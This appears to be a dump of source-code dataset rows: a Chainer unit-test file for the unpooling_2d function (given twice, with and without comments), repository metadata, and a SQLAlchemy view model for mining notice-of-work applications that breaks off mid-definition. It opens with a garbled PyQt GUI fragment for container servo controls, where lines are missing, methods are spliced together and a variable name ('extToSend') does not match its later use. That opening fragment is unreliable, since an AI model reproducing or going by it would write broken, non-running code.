self.containersSubscriber.containersSignal.connect(self.updateThree) self.containersSubscriber.containersSignal.connect(self.updateState) self.firstCalibrationSend.clicked.connect(self.firstCalibrationSendClicked) self.secondCalibrationSend.clicked.connect(self.secondCalibrationSendClicked) self.thirdCalibrationSend.clicked.connect(self.thirdCalibrationSendClicked) first = self.containersSubscriber.firstServoActual second = self.containersSubscriber.secondServoActual third = self.containersSubscriber.thirdServoActual if first == True: self.indicatorOne.setPixmap(QtGui.QPixmap(redControl)) elif first == False: self.indicatorOne.setPixmap(QtGui.QPixmap(greenControl)) if second == True: self.indicatorTwo.setPixmap(QtGui.QPixmap(redControl)) elif second == False: self.indicatorTwo.setPixmap(QtGui.QPixmap(greenControl)) if third == True: self.indicatorThree.setPixmap(QtGui.QPixmap(redControl)) elif third == False: self.indicatorThree.setPixmap(QtGui.QPixmap(greenControl)) self.containersPublisher.containerOne(True) @QtCore.pyqtSlot() def firstContainerCloseClicked(self): self.containersPublisher.containerOne(False) @QtCore.pyqtSlot() def secondContainerOpenClicked(self): self.containersPublisher.containerTwo(True) @QtCore.pyqtSlot() def secondContainerCloseClicked(self): self.containersPublisher.containerTwo(False) @QtCore.pyqtSlot() def thirdContainerOpenClicked(self): self.containersPublisher.containerThree(True) @QtCore.pyqtSlot() def thirdContainerCloseClicked(self): self.containersPublisher.containerThree(False) (self.containersSubscriber.containersMeasurementOne) @QtCore.pyqtSlot() def updateTwo(self): self.secondContainerMeasurement.display(self.containersSubscriber.containersMeasurementTwo) @QtCore.pyqtSlot() def updateThree(self): self.thirdContainerMeasurement.display(self.containersSubscriber.containersMeasurementThree) extToSend = self.firstCalibrationValue.text() if textToSend == "": pass elif textToSend != "": self.containersPublisher.calibrationOne(int(textToSend)) @QtCore.pyqtSlot() def secondCalibrationSendClicked(self): textToSend = self.secondCalibrationValue.text() if textToSend == "": pass elif textToSend != "": self.containersPublisher.calibrationTwo(int(textToSend)) @QtCore.pyqtSlot() def thirdCalibrationSendClicked(self): textToSend = self.thirdCalibrationValue.text() if textToSend == "": pass elif textToSend != "": self.containersPublisher.calibrationThree(int(textToSend))
true
true
f73d61cbecfe6f5651493a4201015a085eaa5025
12,806
py
Python
tests/chainer_tests/functions_tests/pooling_tests/test_unpooling_2d.py
zjzh/chainer
e9da1423255c58c37be9733f51b158aa9b39dc93
[ "MIT" ]
3,705
2017-06-01T07:36:12.000Z
2022-03-30T10:46:15.000Z
tests/chainer_tests/functions_tests/pooling_tests/test_unpooling_2d.py
zjzh/chainer
e9da1423255c58c37be9733f51b158aa9b39dc93
[ "MIT" ]
5,998
2017-06-01T06:40:17.000Z
2022-03-08T01:42:44.000Z
tests/chainer_tests/functions_tests/pooling_tests/test_unpooling_2d.py
zjzh/chainer
e9da1423255c58c37be9733f51b158aa9b39dc93
[ "MIT" ]
1,150
2017-06-02T03:39:46.000Z
2022-03-29T02:29:32.000Z
import unittest import numpy import six import chainer from chainer.backends import cuda from chainer import functions from chainer import gradient_check from chainer import testing from chainer.testing import attr from chainer_tests.functions_tests.pooling_tests import pooling_nd_helper @testing.parameterize(*testing.product_dict( [ # we assume insize as (2, 1) # standard output size which is estimated with get_deconv_outsize # function {'cover_all': False, 'outsize': (4, 2)}, {'cover_all': True, 'outsize': (3, 1)}, {'cover_all': False, 'outsize': None, 'expected_outsize': (4, 2)}, {'cover_all': True, 'outsize': None, 'expected_outsize': (3, 1)}, # another sizes which can be outsize of insize (2, 1) {'cover_all': False, 'outsize': (5, 2)}, {'cover_all': True, 'outsize': (4, 2)}, ], [ {'dtype': numpy.float16}, {'dtype': numpy.float32}, {'dtype': numpy.float64}, ], )) class TestUnpooling2D(unittest.TestCase): def setUp(self): self.N = 2 self.n_channels = 3 inh, inw = 2, 1 self.x = pooling_nd_helper.shuffled_linspace( (self.N, self.n_channels, inh, inw), self.dtype) self.ksize = 2 outh, outw = self.outsize or self.expected_outsize self.gy = numpy.random.uniform( -1, 1, (self.N, self.n_channels, outh, outw)).astype(self.dtype) self.check_backward_options = {'atol': 1e-4, 'rtol': 1e-3} self.check_double_backward_options = {} if self.dtype == numpy.float16: self.check_backward_options = {'atol': 2e-3, 'rtol': 2e-2} self.check_double_backward_options = {'atol': 3e-3, 'rtol': 3e-2} self.ggx = numpy.random.uniform( -1, 1, self.x.shape).astype(self.dtype) def check_forward(self, x_data): x = chainer.Variable(x_data) y = functions.unpooling_2d(x, self.ksize, outsize=self.outsize, cover_all=self.cover_all) self.assertEqual(y.data.dtype, self.dtype) y_data = cuda.to_cpu(y.data) self.assertEqual(self.gy.shape, y_data.shape) for i in six.moves.range(self.N): for c in six.moves.range(self.n_channels): outsize = self.outsize or self.expected_outsize assert y_data.shape[2:] == outsize if outsize == (5, 2): expect = numpy.zeros(outsize, dtype=self.dtype) expect[:2, :] = self.x[i, c, 0, 0] expect[2:4, :] = self.x[i, c, 1, 0] elif outsize == (4, 2): expect = numpy.array([ [self.x[i, c, 0, 0], self.x[i, c, 0, 0]], [self.x[i, c, 0, 0], self.x[i, c, 0, 0]], [self.x[i, c, 1, 0], self.x[i, c, 1, 0]], [self.x[i, c, 1, 0], self.x[i, c, 1, 0]], ]) elif outsize == (3, 1): expect = numpy.array([ [self.x[i, c, 0, 0]], [self.x[i, c, 0, 0]], [self.x[i, c, 1, 0]], ]) else: raise ValueError('Unsupported outsize: {}'.format(outsize)) testing.assert_allclose(expect, y_data[i, c]) def test_forward_cpu(self): self.check_forward(self.x) @attr.gpu def test_forward_gpu(self): self.check_forward(cuda.to_gpu(self.x)) def check_backward(self, x_data, y_grad): def f(x): return functions.unpooling_2d(x, self.ksize, outsize=self.outsize, cover_all=self.cover_all) gradient_check.check_backward( f, x_data, y_grad, dtype=numpy.float64, **self.check_backward_options) def test_backward_cpu(self): self.check_backward(self.x, self.gy) @attr.gpu def test_backward_gpu(self): self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(self.gy)) def check_double_backward(self, x_data, y_grad, x_grad_grad, use_cudnn='always'): def f(x): return functions.unpooling_2d(x, self.ksize, outsize=self.outsize, cover_all=self.cover_all) with chainer.using_config('use_cudnn', use_cudnn): gradient_check.check_double_backward( f, x_data, y_grad, x_grad_grad, dtype=numpy.float64, **self.check_double_backward_options) def test_double_backward_cpu(self): self.check_double_backward( self.x, self.gy, self.ggx, 'never') @attr.gpu def test_double_backward_gpu(self): self.check_double_backward( cuda.to_gpu(self.x), cuda.to_gpu(self.gy), cuda.to_gpu(self.ggx)) @attr.gpu def test_double_backward_gpu_non_contiguous(self): self.check_double_backward( cuda.cupy.asfortranarray(cuda.to_gpu(self.x)), cuda.cupy.asfortranarray(cuda.to_gpu(self.gy)), cuda.cupy.asfortranarray(cuda.to_gpu(self.ggx))) @attr.gpu def test_double_backward_gpu_no_cudnn(self): self.check_double_backward( cuda.to_gpu(self.x), cuda.to_gpu(self.gy), cuda.to_gpu(self.ggx), 'never') @testing.parameterize(*testing.product_dict( [ {'insize': (2, 1), 'outsize': (4, 2), 'ksize': 2, 'pad': 0}, {'insize': (4, 5), 'outsize': (4, 6), 'ksize': 2, 'pad': 2}, ], [ {'dtype': numpy.float16}, {'dtype': numpy.float32}, {'dtype': numpy.float64}, ], )) class TestIntegerScaleUnpooling2D(unittest.TestCase): def setUp(self): self.N = 2 self.n_channels = 3 inh, inw = self.insize self.x = pooling_nd_helper.shuffled_linspace( (self.N, self.n_channels, inh, inw), self.dtype) outh, outw = self.outsize or self.expected_outsize self.gy = numpy.random.uniform( -1, 1, (self.N, self.n_channels, outh, outw)).astype(self.dtype) self.check_backward_options = {'atol': 1e-4, 'rtol': 1e-3} self.check_double_backward_options = {} if self.dtype == numpy.float16: self.check_backward_options = {'atol': 2e-3, 'rtol': 2e-2} self.check_double_backward_options = {'atol': 3e-3, 'rtol': 3e-2} self.ggx = numpy.random.uniform( -1, 1, self.x.shape).astype(self.dtype) def check_forward(self, x_data): x = chainer.Variable(x_data) y = functions.unpooling_2d( x, self.ksize, outsize=self.outsize, pad=self.pad) self.assertEqual(y.data.dtype, self.dtype) y_data = cuda.to_cpu(y.data) self.assertEqual(self.gy.shape, y_data.shape) for i in six.moves.range(self.N): for c in six.moves.range(self.n_channels): outsize = self.outsize or self.expected_outsize assert y_data.shape[2:] == outsize if outsize == (4, 2): expect = numpy.array([ [self.x[i, c, 0, 0], self.x[i, c, 0, 0]], [self.x[i, c, 0, 0], self.x[i, c, 0, 0]], [self.x[i, c, 1, 0], self.x[i, c, 1, 0]], [self.x[i, c, 1, 0], self.x[i, c, 1, 0]], ]) elif outsize == (4, 6): expect = numpy.array([ [self.x[i, c, 1, 1], self.x[i, c, 1, 1], self.x[i, c, 1, 2], self.x[i, c, 1, 2], self.x[i, c, 1, 3], self.x[i, c, 1, 3]], [self.x[i, c, 1, 1], self.x[i, c, 1, 1], self.x[i, c, 1, 2], self.x[i, c, 1, 2], self.x[i, c, 1, 3], self.x[i, c, 1, 3]], [self.x[i, c, 2, 1], self.x[i, c, 2, 1], self.x[i, c, 2, 2], self.x[i, c, 2, 2], self.x[i, c, 2, 3], self.x[i, c, 2, 3]], [self.x[i, c, 2, 1], self.x[i, c, 2, 1], self.x[i, c, 2, 2], self.x[i, c, 2, 2], self.x[i, c, 2, 3], self.x[i, c, 2, 3]], ]) else: raise ValueError('Unsupported outsize: {}'.format(outsize)) testing.assert_allclose(expect, y_data[i, c]) def test_forward_cpu(self): self.check_forward(self.x) @attr.gpu def test_forward_gpu(self): self.check_forward(cuda.to_gpu(self.x)) def check_backward(self, x_data, y_grad): def f(x): return functions.unpooling_2d(x, self.ksize, outsize=self.outsize, pad=self.pad) gradient_check.check_backward( f, x_data, y_grad, dtype=numpy.float64, **self.check_backward_options) def test_backward_cpu(self): self.check_backward(self.x, self.gy) @attr.gpu def test_backward_gpu(self): self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(self.gy)) def check_double_backward(self, x_data, y_grad, x_grad_grad, use_cudnn='always'): def f(x): return functions.unpooling_2d(x, self.ksize, outsize=self.outsize, pad=self.pad) with chainer.using_config('use_cudnn', use_cudnn): gradient_check.check_double_backward( f, x_data, y_grad, x_grad_grad, dtype=numpy.float64, **self.check_double_backward_options) def test_double_backward_cpu(self): self.check_double_backward( self.x, self.gy, self.ggx, 'never') @attr.gpu def test_double_backward_gpu(self): self.check_double_backward( cuda.to_gpu(self.x), cuda.to_gpu(self.gy), cuda.to_gpu(self.ggx)) @attr.gpu def test_double_backward_gpu_non_contiguous(self): self.check_double_backward( cuda.cupy.asfortranarray(cuda.to_gpu(self.x)), cuda.cupy.asfortranarray(cuda.to_gpu(self.gy)), cuda.cupy.asfortranarray(cuda.to_gpu(self.ggx))) @attr.gpu def test_double_backward_gpu_no_cudnn(self): self.check_double_backward( cuda.to_gpu(self.x), cuda.to_gpu(self.gy), cuda.to_gpu(self.ggx), 'never') @testing.parameterize(*testing.product({ 'dtype': [numpy.float16, numpy.float32, numpy.float64], 'h': [5], 'k': [3], 's': [3], 'p': [0], 'cover_all': [True, False], })) class TestMaxPoolingUnpooling(unittest.TestCase): def check_left_inverse(self, xp, use_cudnn='never'): x = xp.arange(self.h * self.h).reshape( (1, 1, self.h, self.h)).astype(self.dtype) with chainer.using_config('use_cudnn', use_cudnn): y = chainer.functions.unpooling_2d( x, self.k, self.s, self.p, None, self.cover_all) x_ = chainer.functions.max_pooling_2d( y, self.k, self.s, self.p, self.cover_all).data self.assertEqual(x.shape, x_.shape) self.assertEqual(x.dtype, x_.dtype) chainer.testing.assert_allclose(x, x_) def test_left_inverse_cpu(self): self.check_left_inverse(numpy) @attr.gpu def test_left_inverse_cupy(self): self.check_left_inverse(cuda.cupy) @attr.gpu def test_left_inverse_cudnn(self): self.check_left_inverse(cuda.cupy, 'always') @testing.parameterize(*testing.product({ 'dtype': [numpy.float16, numpy.float32, numpy.float64], 'h': [5], 'k': [3], 's': [3], 'p': [0], })) class TestAveragePoolingUnpooling(unittest.TestCase): def check_left_inverse(self, xp, use_cudnn='never'): x = xp.arange(self.h * self.h).reshape( (1, 1, self.h, self.h)).astype(self.dtype) with chainer.using_config('use_cudnn', use_cudnn): # average_pooling_2d does not have cover_all option # as max_pooling_2d has. y = chainer.functions.unpooling_2d( x, self.k, self.s, self.p, None, False) x_ = chainer.functions.average_pooling_2d( y, self.k, self.s, self.p).data self.assertEqual(x.shape, x_.shape) self.assertEqual(x.dtype, x_.dtype) chainer.testing.assert_allclose(x, x_) def test_left_inverse_cpu(self): self.check_left_inverse(numpy) @attr.gpu def test_left_inverse_cupy(self): self.check_left_inverse(cuda.cupy) @attr.gpu def test_left_inverse_cudnn(self): self.check_left_inverse(cuda.cupy, 'always') testing.run_module(__name__, __file__)
37.775811
79
0.555521
import unittest import numpy import six import chainer from chainer.backends import cuda from chainer import functions from chainer import gradient_check from chainer import testing from chainer.testing import attr from chainer_tests.functions_tests.pooling_tests import pooling_nd_helper @testing.parameterize(*testing.product_dict( [ {'cover_all': False, 'outsize': (4, 2)}, {'cover_all': True, 'outsize': (3, 1)}, {'cover_all': False, 'outsize': None, 'expected_outsize': (4, 2)}, {'cover_all': True, 'outsize': None, 'expected_outsize': (3, 1)}, {'cover_all': False, 'outsize': (5, 2)}, {'cover_all': True, 'outsize': (4, 2)}, ], [ {'dtype': numpy.float16}, {'dtype': numpy.float32}, {'dtype': numpy.float64}, ], )) class TestUnpooling2D(unittest.TestCase): def setUp(self): self.N = 2 self.n_channels = 3 inh, inw = 2, 1 self.x = pooling_nd_helper.shuffled_linspace( (self.N, self.n_channels, inh, inw), self.dtype) self.ksize = 2 outh, outw = self.outsize or self.expected_outsize self.gy = numpy.random.uniform( -1, 1, (self.N, self.n_channels, outh, outw)).astype(self.dtype) self.check_backward_options = {'atol': 1e-4, 'rtol': 1e-3} self.check_double_backward_options = {} if self.dtype == numpy.float16: self.check_backward_options = {'atol': 2e-3, 'rtol': 2e-2} self.check_double_backward_options = {'atol': 3e-3, 'rtol': 3e-2} self.ggx = numpy.random.uniform( -1, 1, self.x.shape).astype(self.dtype) def check_forward(self, x_data): x = chainer.Variable(x_data) y = functions.unpooling_2d(x, self.ksize, outsize=self.outsize, cover_all=self.cover_all) self.assertEqual(y.data.dtype, self.dtype) y_data = cuda.to_cpu(y.data) self.assertEqual(self.gy.shape, y_data.shape) for i in six.moves.range(self.N): for c in six.moves.range(self.n_channels): outsize = self.outsize or self.expected_outsize assert y_data.shape[2:] == outsize if outsize == (5, 2): expect = numpy.zeros(outsize, dtype=self.dtype) expect[:2, :] = self.x[i, c, 0, 0] expect[2:4, :] = self.x[i, c, 1, 0] elif outsize == (4, 2): expect = numpy.array([ [self.x[i, c, 0, 0], self.x[i, c, 0, 0]], [self.x[i, c, 0, 0], self.x[i, c, 0, 0]], [self.x[i, c, 1, 0], self.x[i, c, 1, 0]], [self.x[i, c, 1, 0], self.x[i, c, 1, 0]], ]) elif outsize == (3, 1): expect = numpy.array([ [self.x[i, c, 0, 0]], [self.x[i, c, 0, 0]], [self.x[i, c, 1, 0]], ]) else: raise ValueError('Unsupported outsize: {}'.format(outsize)) testing.assert_allclose(expect, y_data[i, c]) def test_forward_cpu(self): self.check_forward(self.x) @attr.gpu def test_forward_gpu(self): self.check_forward(cuda.to_gpu(self.x)) def check_backward(self, x_data, y_grad): def f(x): return functions.unpooling_2d(x, self.ksize, outsize=self.outsize, cover_all=self.cover_all) gradient_check.check_backward( f, x_data, y_grad, dtype=numpy.float64, **self.check_backward_options) def test_backward_cpu(self): self.check_backward(self.x, self.gy) @attr.gpu def test_backward_gpu(self): self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(self.gy)) def check_double_backward(self, x_data, y_grad, x_grad_grad, use_cudnn='always'): def f(x): return functions.unpooling_2d(x, self.ksize, outsize=self.outsize, cover_all=self.cover_all) with chainer.using_config('use_cudnn', use_cudnn): gradient_check.check_double_backward( f, x_data, y_grad, x_grad_grad, dtype=numpy.float64, **self.check_double_backward_options) def test_double_backward_cpu(self): self.check_double_backward( self.x, self.gy, self.ggx, 'never') @attr.gpu def test_double_backward_gpu(self): self.check_double_backward( cuda.to_gpu(self.x), cuda.to_gpu(self.gy), cuda.to_gpu(self.ggx)) @attr.gpu def test_double_backward_gpu_non_contiguous(self): self.check_double_backward( cuda.cupy.asfortranarray(cuda.to_gpu(self.x)), cuda.cupy.asfortranarray(cuda.to_gpu(self.gy)), cuda.cupy.asfortranarray(cuda.to_gpu(self.ggx))) @attr.gpu def test_double_backward_gpu_no_cudnn(self): self.check_double_backward( cuda.to_gpu(self.x), cuda.to_gpu(self.gy), cuda.to_gpu(self.ggx), 'never') @testing.parameterize(*testing.product_dict( [ {'insize': (2, 1), 'outsize': (4, 2), 'ksize': 2, 'pad': 0}, {'insize': (4, 5), 'outsize': (4, 6), 'ksize': 2, 'pad': 2}, ], [ {'dtype': numpy.float16}, {'dtype': numpy.float32}, {'dtype': numpy.float64}, ], )) class TestIntegerScaleUnpooling2D(unittest.TestCase): def setUp(self): self.N = 2 self.n_channels = 3 inh, inw = self.insize self.x = pooling_nd_helper.shuffled_linspace( (self.N, self.n_channels, inh, inw), self.dtype) outh, outw = self.outsize or self.expected_outsize self.gy = numpy.random.uniform( -1, 1, (self.N, self.n_channels, outh, outw)).astype(self.dtype) self.check_backward_options = {'atol': 1e-4, 'rtol': 1e-3} self.check_double_backward_options = {} if self.dtype == numpy.float16: self.check_backward_options = {'atol': 2e-3, 'rtol': 2e-2} self.check_double_backward_options = {'atol': 3e-3, 'rtol': 3e-2} self.ggx = numpy.random.uniform( -1, 1, self.x.shape).astype(self.dtype) def check_forward(self, x_data): x = chainer.Variable(x_data) y = functions.unpooling_2d( x, self.ksize, outsize=self.outsize, pad=self.pad) self.assertEqual(y.data.dtype, self.dtype) y_data = cuda.to_cpu(y.data) self.assertEqual(self.gy.shape, y_data.shape) for i in six.moves.range(self.N): for c in six.moves.range(self.n_channels): outsize = self.outsize or self.expected_outsize assert y_data.shape[2:] == outsize if outsize == (4, 2): expect = numpy.array([ [self.x[i, c, 0, 0], self.x[i, c, 0, 0]], [self.x[i, c, 0, 0], self.x[i, c, 0, 0]], [self.x[i, c, 1, 0], self.x[i, c, 1, 0]], [self.x[i, c, 1, 0], self.x[i, c, 1, 0]], ]) elif outsize == (4, 6): expect = numpy.array([ [self.x[i, c, 1, 1], self.x[i, c, 1, 1], self.x[i, c, 1, 2], self.x[i, c, 1, 2], self.x[i, c, 1, 3], self.x[i, c, 1, 3]], [self.x[i, c, 1, 1], self.x[i, c, 1, 1], self.x[i, c, 1, 2], self.x[i, c, 1, 2], self.x[i, c, 1, 3], self.x[i, c, 1, 3]], [self.x[i, c, 2, 1], self.x[i, c, 2, 1], self.x[i, c, 2, 2], self.x[i, c, 2, 2], self.x[i, c, 2, 3], self.x[i, c, 2, 3]], [self.x[i, c, 2, 1], self.x[i, c, 2, 1], self.x[i, c, 2, 2], self.x[i, c, 2, 2], self.x[i, c, 2, 3], self.x[i, c, 2, 3]], ]) else: raise ValueError('Unsupported outsize: {}'.format(outsize)) testing.assert_allclose(expect, y_data[i, c]) def test_forward_cpu(self): self.check_forward(self.x) @attr.gpu def test_forward_gpu(self): self.check_forward(cuda.to_gpu(self.x)) def check_backward(self, x_data, y_grad): def f(x): return functions.unpooling_2d(x, self.ksize, outsize=self.outsize, pad=self.pad) gradient_check.check_backward( f, x_data, y_grad, dtype=numpy.float64, **self.check_backward_options) def test_backward_cpu(self): self.check_backward(self.x, self.gy) @attr.gpu def test_backward_gpu(self): self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(self.gy)) def check_double_backward(self, x_data, y_grad, x_grad_grad, use_cudnn='always'): def f(x): return functions.unpooling_2d(x, self.ksize, outsize=self.outsize, pad=self.pad) with chainer.using_config('use_cudnn', use_cudnn): gradient_check.check_double_backward( f, x_data, y_grad, x_grad_grad, dtype=numpy.float64, **self.check_double_backward_options) def test_double_backward_cpu(self): self.check_double_backward( self.x, self.gy, self.ggx, 'never') @attr.gpu def test_double_backward_gpu(self): self.check_double_backward( cuda.to_gpu(self.x), cuda.to_gpu(self.gy), cuda.to_gpu(self.ggx)) @attr.gpu def test_double_backward_gpu_non_contiguous(self): self.check_double_backward( cuda.cupy.asfortranarray(cuda.to_gpu(self.x)), cuda.cupy.asfortranarray(cuda.to_gpu(self.gy)), cuda.cupy.asfortranarray(cuda.to_gpu(self.ggx))) @attr.gpu def test_double_backward_gpu_no_cudnn(self): self.check_double_backward( cuda.to_gpu(self.x), cuda.to_gpu(self.gy), cuda.to_gpu(self.ggx), 'never') @testing.parameterize(*testing.product({ 'dtype': [numpy.float16, numpy.float32, numpy.float64], 'h': [5], 'k': [3], 's': [3], 'p': [0], 'cover_all': [True, False], })) class TestMaxPoolingUnpooling(unittest.TestCase): def check_left_inverse(self, xp, use_cudnn='never'): x = xp.arange(self.h * self.h).reshape( (1, 1, self.h, self.h)).astype(self.dtype) with chainer.using_config('use_cudnn', use_cudnn): y = chainer.functions.unpooling_2d( x, self.k, self.s, self.p, None, self.cover_all) x_ = chainer.functions.max_pooling_2d( y, self.k, self.s, self.p, self.cover_all).data self.assertEqual(x.shape, x_.shape) self.assertEqual(x.dtype, x_.dtype) chainer.testing.assert_allclose(x, x_) def test_left_inverse_cpu(self): self.check_left_inverse(numpy) @attr.gpu def test_left_inverse_cupy(self): self.check_left_inverse(cuda.cupy) @attr.gpu def test_left_inverse_cudnn(self): self.check_left_inverse(cuda.cupy, 'always') @testing.parameterize(*testing.product({ 'dtype': [numpy.float16, numpy.float32, numpy.float64], 'h': [5], 'k': [3], 's': [3], 'p': [0], })) class TestAveragePoolingUnpooling(unittest.TestCase): def check_left_inverse(self, xp, use_cudnn='never'): x = xp.arange(self.h * self.h).reshape( (1, 1, self.h, self.h)).astype(self.dtype) with chainer.using_config('use_cudnn', use_cudnn): y = chainer.functions.unpooling_2d( x, self.k, self.s, self.p, None, False) x_ = chainer.functions.average_pooling_2d( y, self.k, self.s, self.p).data self.assertEqual(x.shape, x_.shape) self.assertEqual(x.dtype, x_.dtype) chainer.testing.assert_allclose(x, x_) def test_left_inverse_cpu(self): self.check_left_inverse(numpy) @attr.gpu def test_left_inverse_cupy(self): self.check_left_inverse(cuda.cupy) @attr.gpu def test_left_inverse_cudnn(self): self.check_left_inverse(cuda.cupy, 'always') testing.run_module(__name__, __file__)
true
true
f73d62128946cfa81b92faae9c1d98494e01af3d
5,423
py
Python
services/core-api/app/api/now_applications/models/applications_view.py
bcgov/mds
6c427a66a5edb4196222607291adef8fd6677038
[ "Apache-2.0" ]
25
2018-07-09T19:04:37.000Z
2022-03-15T17:27:10.000Z
services/core-api/app/api/now_applications/models/applications_view.py
areyeslo/mds
e8c38e593e09b78e2a57009c0d003d6c4bfa32e6
[ "Apache-2.0" ]
983
2018-04-25T20:08:07.000Z
2022-03-31T21:45:20.000Z
services/core-api/app/api/now_applications/models/applications_view.py
areyeslo/mds
e8c38e593e09b78e2a57009c0d003d6c4bfa32e6
[ "Apache-2.0" ]
58
2018-05-15T22:35:50.000Z
2021-11-29T19:40:52.000Z
from datetime import datetime from sqlalchemy.dialects.postgresql import UUID from sqlalchemy.ext.associationproxy import association_proxy from sqlalchemy.ext.hybrid import hybrid_property from flask import current_app from app.api.utils.models_mixins import Base from app.extensions import db from .now_application import NOWApplication class ApplicationsView(Base): __tablename__ = 'applications_view' now_application_guid = db.Column(UUID(as_uuid=True), primary_key=True) now_application_id = db.Column(db.Integer) mine_guid = db.Column(UUID(as_uuid=True), db.ForeignKey('mine.mine_guid')) mine = db.relationship('Mine', lazy='joined') mine_no = db.Column(db.String) mine_name = association_proxy('mine', 'mine_name') mine_region = association_proxy('mine', 'mine_region') source_permit_amendment_id = db.Column(db.Integer, db.ForeignKey('permit_amendment.permit_amendment_id')) source_permit_amendment_guid = db.Column( UUID(as_uuid=True), db.ForeignKey('permit_amendment.permit_amendment_id')) source_permit_amendment_issue_date = db.Column(db.Date) now_number = db.Column(db.String) lead_inspector_party_guid = db.Column( UUID(as_uuid=True), db.ForeignKey('party.party_guid'), nullable=True) lead_inspector_name = db.Column(db.String) issuing_inspector_party_guid = db.Column( UUID(as_uuid=True), db.ForeignKey('party.party_guid'), nullable=True) issuing_inspector_name = db.Column(db.String) notice_of_work_type_description = db.Column(db.String) now_application_status_description = db.Column(db.String) received_date = db.Column(db.Date) originating_system = db.Column(db.String) application_type_code = db.Column(db.String) now_application_status_code = db.Column(db.String) decision_date = db.Column(db.DateTime) source_permit_no = db.Column(db.String) is_historic = db.Column(db.Boolean) import_timestamp = db.Column(db.DateTime, nullable=False, default=datetime.utcnow) update_timestamp = db.Column(db.DateTime, nullable=False, default=datetime.utcnow) submission_documents = db.relationship( 'Document', lazy='selectin', secondary= 'join(NOWApplicationIdentity, Document, foreign(NOWApplicationIdentity.messageid)==remote(Document.messageid))', primaryjoin= 'and_(ApplicationsView.now_application_guid==NOWApplicationIdentity.now_application_guid, foreign(NOWApplicationIdentity.messageid)==remote(Document.messageid))', secondaryjoin='foreign(NOWApplicationIdentity.messageid)==remote(Document.messageid)', viewonly=True) documents = db.relationship( 'NOWApplicationDocumentXref', lazy='selectin', primaryjoin= 'and_(foreign(NOWApplicationDocumentXref.now_application_id)==ApplicationsView.now_application_id, NOWApplicationDocumentXref.now_application_review_id==None)', order_by='desc(NOWApplicationDocumentXref.create_timestamp)') permit_amendments = db.relationship( 'PermitAmendment', lazy='select', primaryjoin= 'and_(foreign(PermitAmendment.now_application_guid)==ApplicationsView.now_application_guid )' ) application_reason_codes = db.relationship( 'ApplicationReasonCode', lazy='selectin', primaryjoin= 'and_(foreign(ApplicationReasonXref.now_application_id)==ApplicationsView.now_application_id)', secondary= 'join(ApplicationReasonXref, ApplicationReasonCode, foreign(ApplicationReasonXref.application_reason_code)==remote(ApplicationReasonCode.application_reason_code))', secondaryjoin= 'foreign(ApplicationReasonXref.application_reason_code)==remote(ApplicationReasonCode.application_reason_code)', viewonly=True) contacts = db.relationship( 'NOWPartyAppointment', lazy='selectin', primaryjoin= 'and_(foreign(NOWPartyAppointment.now_application_id) == ApplicationsView.now_application_id, NOWPartyAppointment.deleted_ind==False)', secondary= 'join(NOWPartyAppointment, Party, foreign(NOWPartyAppointment.party_guid)==remote(Party.party_guid))', secondaryjoin='foreign(NOWPartyAppointment.party_guid)==remote(Party.party_guid)', ) def __repr__(self): return '<ApplicationsView %r>' % self.now_application_guid @hybrid_property def permittee(self): # this check is for performance reason, NOWs do not display permittees if self.application_type_code == 'NOW': return None permittees = [ contact.party for contact in self.contacts if contact.mine_party_appt_type_code == 'PMT' ] return permittees[0] if permittees else None @hybrid_property def permit_amendment(self): return self.permit_amendments[0] if self.permit_amendments else None @hybrid_property def application_documents(self): now_application = NOWApplication.find_by_application_guid(self.now_application_guid) filtered_submissions_documents = NOWApplication.get_filtered_submissions_documents( now_application) application_documents = [ doc for doc in filtered_submissions_documents if doc['filename'] == 'ApplicationForm.pdf' ] return application_documents
42.03876
172
0.731145
from datetime import datetime from sqlalchemy.dialects.postgresql import UUID from sqlalchemy.ext.associationproxy import association_proxy from sqlalchemy.ext.hybrid import hybrid_property from flask import current_app from app.api.utils.models_mixins import Base from app.extensions import db from .now_application import NOWApplication class ApplicationsView(Base): __tablename__ = 'applications_view' now_application_guid = db.Column(UUID(as_uuid=True), primary_key=True) now_application_id = db.Column(db.Integer) mine_guid = db.Column(UUID(as_uuid=True), db.ForeignKey('mine.mine_guid')) mine = db.relationship('Mine', lazy='joined') mine_no = db.Column(db.String) mine_name = association_proxy('mine', 'mine_name') mine_region = association_proxy('mine', 'mine_region') source_permit_amendment_id = db.Column(db.Integer, db.ForeignKey('permit_amendment.permit_amendment_id')) source_permit_amendment_guid = db.Column( UUID(as_uuid=True), db.ForeignKey('permit_amendment.permit_amendment_id')) source_permit_amendment_issue_date = db.Column(db.Date) now_number = db.Column(db.String) lead_inspector_party_guid = db.Column( UUID(as_uuid=True), db.ForeignKey('party.party_guid'), nullable=True) lead_inspector_name = db.Column(db.String) issuing_inspector_party_guid = db.Column( UUID(as_uuid=True), db.ForeignKey('party.party_guid'), nullable=True) issuing_inspector_name = db.Column(db.String) notice_of_work_type_description = db.Column(db.String) now_application_status_description = db.Column(db.String) received_date = db.Column(db.Date) originating_system = db.Column(db.String) application_type_code = db.Column(db.String) now_application_status_code = db.Column(db.String) decision_date = db.Column(db.DateTime) source_permit_no = db.Column(db.String) is_historic = db.Column(db.Boolean) import_timestamp = db.Column(db.DateTime, nullable=False, default=datetime.utcnow) update_timestamp = db.Column(db.DateTime, nullable=False, default=datetime.utcnow) submission_documents = db.relationship( 'Document', lazy='selectin', secondary= 'join(NOWApplicationIdentity, Document, foreign(NOWApplicationIdentity.messageid)==remote(Document.messageid))', primaryjoin= 'and_(ApplicationsView.now_application_guid==NOWApplicationIdentity.now_application_guid, foreign(NOWApplicationIdentity.messageid)==remote(Document.messageid))', secondaryjoin='foreign(NOWApplicationIdentity.messageid)==remote(Document.messageid)', viewonly=True) documents = db.relationship( 'NOWApplicationDocumentXref', lazy='selectin', primaryjoin= 'and_(foreign(NOWApplicationDocumentXref.now_application_id)==ApplicationsView.now_application_id, NOWApplicationDocumentXref.now_application_review_id==None)', order_by='desc(NOWApplicationDocumentXref.create_timestamp)') permit_amendments = db.relationship( 'PermitAmendment', lazy='select', primaryjoin= 'and_(foreign(PermitAmendment.now_application_guid)==ApplicationsView.now_application_guid )' ) application_reason_codes = db.relationship( 'ApplicationReasonCode', lazy='selectin', primaryjoin= 'and_(foreign(ApplicationReasonXref.now_application_id)==ApplicationsView.now_application_id)', secondary= 'join(ApplicationReasonXref, ApplicationReasonCode, 